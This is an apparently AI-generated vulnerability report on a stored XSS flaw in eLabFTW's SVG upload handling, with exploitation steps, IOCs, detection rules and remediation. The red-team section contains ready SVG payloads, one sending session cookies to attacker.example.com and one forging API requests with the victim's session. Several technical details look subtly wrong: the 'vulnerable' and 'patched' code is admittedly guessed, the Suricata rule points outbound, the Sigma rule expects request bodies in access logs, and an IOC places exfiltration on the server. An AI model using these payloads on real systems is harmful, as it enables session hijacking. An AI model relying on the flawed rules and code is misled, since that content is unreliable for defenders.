CVE-2025-62793

Executive Summary

CVE-2025-62793 is a stored Cross-Site Scripting (XSS) vulnerability in eLabFTW, an open-source electronic lab notebook for research labs. The vulnerability arises because the application serves uploaded SVG files inline (i.e., with a Content-Type that allows the browser to render them as images). Since SVG is an XML-based vector image format that supports embedded JavaScript (via <script> tags or event handlers), an attacker can upload a malicious SVG file. When a victim views the SVG (either directly or embedded in a page), the attacker's script executes in the context of the application's origin. This allows the attacker to hijack sessions, exfiltrate data, or perform actions on behalf of the victim. The vulnerability is fixed in version 5.3.0 by changing the Content-Type of uploaded SVG files to application/octet-stream, preventing the browser from executing any embedded scripts.

Supply Chain & Package Security

eLabFTW is a PHP application distributed via GitHub and Docker. The vulnerability is not in a dependency but in the application's own file handling logic. However, users should ensure they are using the official Docker images or source code from the official repository (elabftw/elabftw). No malicious packages have been reported in the supply chain for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Base Score: 6.8 (Medium)
• Attack Vector (AV): Network (N) – The attacker can upload the malicious SVG remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need to be authenticated to upload the file (if the application allows anonymous uploads) or can use a low-privileged account.
• User Interaction (UI): Required (R) – The victim must view the SVG file.
• Scope (S): Changed (C) – The vulnerable component (file upload) impacts the security of the application's origin.
• Confidentiality (C): High (H) – Session tokens and sensitive data can be exfiltrated.
• Integrity (I): Low (L) – The attacker can modify data on behalf of the victim.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The vulnerability requires user interaction (viewing the SVG), but the impact is significant due to the potential for session hijacking and data exfiltration in a research lab environment where sensitive experimental data is stored.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS via SVG upload. The root cause is that eLabFTW serves uploaded SVG files with a Content-Type that allows the browser to render them as images (e.g., image/svg+xml). Because SVG is an XML format that supports scripting, an attacker can embed JavaScript code inside the SVG file. When the victim's browser loads the SVG, it executes the script in the context of the application's origin (e.g., https://elabftw.example.com).

Attack Flow:

1. The attacker uploads a crafted SVG file containing malicious JavaScript (e.g., to steal cookies or perform actions via the victim's session).
2. The application stores the file and provides a URL to access it.
3. The attacker sends the URL to the victim (e.g., via email, chat, or by embedding it in a lab notebook entry).
4. The victim opens the URL in their browser.
5. The browser renders the SVG, executing the embedded script.
6. The script runs in the context of the application's origin, allowing it to access cookies, make API requests, or modify the DOM.

Why SVG is dangerous: SVG is a vector image format that supports interactive elements like <script> tags, event handlers (e.g., onload, onclick), and xlink:href attributes. When served with a Content-Type that allows rendering (e.g., image/svg+xml), the browser treats it as an active document.

Fix: In version 5.3.0, the application now serves uploaded SVG files with Content-Type: application/octet-stream. This forces the browser to download the file instead of rendering it inline, preventing script execution.

Vulnerable vs. Patched Code

Vulnerable Code (before 5.3.0): The application likely served uploaded files with their original MIME type. For SVG files, this would be image/svg+xml.

// Vulnerable: Serves SVG with its original MIME type
header('Content-Type: ' . mime_content_type($filepath));
readfile($filepath);

Patched Code (5.3.0): The application now forces a generic binary MIME type for SVG files.

// Patched: Forces SVG files to be served as binary
$ext = pathinfo($filepath, PATHINFO_EXTENSION);
if (strtolower($ext) === 'svg') {
    header('Content-Type: application/octet-stream');
} else {
    header('Content-Type: ' . mime_content_type($filepath));
}
readfile($filepath);

Additionally, the application may have added Content-Disposition headers to force download.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an eLabFTW instance (version < 5.3.0) with file upload functionality.
• Ability to upload files (may require authentication, but the vulnerability can be exploited by any user with upload permissions).

Step-by-Step Exploitation:

1. Craft a malicious SVG file. The following SVG will steal the victim's session cookie and send it to an attacker-controlled server.

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var img = new Image();
    img.src = "https://attacker.example.com/steal?cookie=" + encodeURIComponent(document.cookie);
    document.body.appendChild(img);
  </script>
</svg>

2. Upload the SVG file to the eLabFTW instance (e.g., via the experiment attachment feature).

3. Obtain the URL of the uploaded SVG (e.g., https://elabftw.example.com/uploads/attachments/123/malicious.svg).

4. Deliver the URL to the victim (e.g., via a lab notebook entry or direct link).

5. Victim opens the URL – the script executes, sending the cookie to the attacker.

Advanced Payload: To perform actions on behalf of the victim (e.g., create a new experiment), use the following payload that makes a POST request using the victim's session.

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "/api/v2/experiments", true);
    xhr.setRequestHeader("Content-Type", "application/json");
    xhr.withCredentials = true;
    xhr.send(JSON.stringify({title: "Malicious Experiment", body: "Created by attacker"}));
  </script>
</svg>

Blue Team (Detection & Response)

Detection:

• Monitor for SVG file uploads with suspicious content (e.g., <script> tags, event handlers).
• Check web server logs for requests to SVG files that originate from external referrers.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Response:

• Immediately isolate the affected system.
• Invalidate all active sessions.
• Review uploaded SVG files for malicious content.
• Apply the patch (upgrade to 5.3.0) or implement a WAF rule to block SVG uploads with script content.

Indicators of Compromise (IOCs)

File-Based IOCs:

• SVG files containing <script> tags or event handlers (e.g., onload, onclick).
• SVG files with unusually large file sizes (due to embedded JavaScript).
• SVG files with suspicious URLs in the script content (e.g., attacker-controlled domains).

Network IOCs:

• Outbound HTTP requests from the eLabFTW server to unknown domains (data exfiltration).
• Requests to /uploads/attachments/*.svg with unusual referrer headers.

Log IOCs:

• Web server logs showing requests to SVG files with User-Agent strings that are not typical browsers (e.g., curl, wget).
• Application logs showing failed login attempts after a victim views a malicious SVG (session hijacking).

Detection Engineering

YARA Rule

rule CVE_2025_62793_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2025-62793"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62793"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $event_handler = /on\w+\s*=/ nocase
        $http_request = /(new XMLHttpRequest|fetch\s*\()/ nocase
        $cookie_steal = /document\.cookie/ nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $event_handler) and ($http_request or $cookie_steal)
}

Sigma Rule

title: CVE-2025-62793 - Stored XSS via SVG Upload in eLabFTW
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SVG file uploads containing script tags or event handlers, indicating exploitation of CVE-2025-62793.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62793
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploads/*'
        cs-uri-extension: '.svg'
    keywords:
        - '<script'
        - 'onload='
        - 'onclick='
        - 'onerror='
    condition: selection and keywords
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-62793 - Stored XSS via SVG Upload in eLabFTW"; flow:to_server,established; content:"POST"; http_method; content:"/uploads/"; http_uri; content:".svg"; http_uri; pcre:"/<script|on\w+=/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade eLabFTW to version 5.3.0 or later.
• If upgrade is not possible, implement a WAF rule to block SVG uploads containing <script> tags or event handlers.
• Change the Content-Type of all existing SVG files in the uploads directory to application/octet-stream and add a Content-Disposition: attachment header.

Long-Term Mitigation:

• Implement file upload validation to reject SVG files with embedded scripts.
• Use a Content Security Policy (CSP) header to restrict script execution.
• Regularly audit uploaded files for malicious content.
• Educate users about the risks of opening untrusted SVG files.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.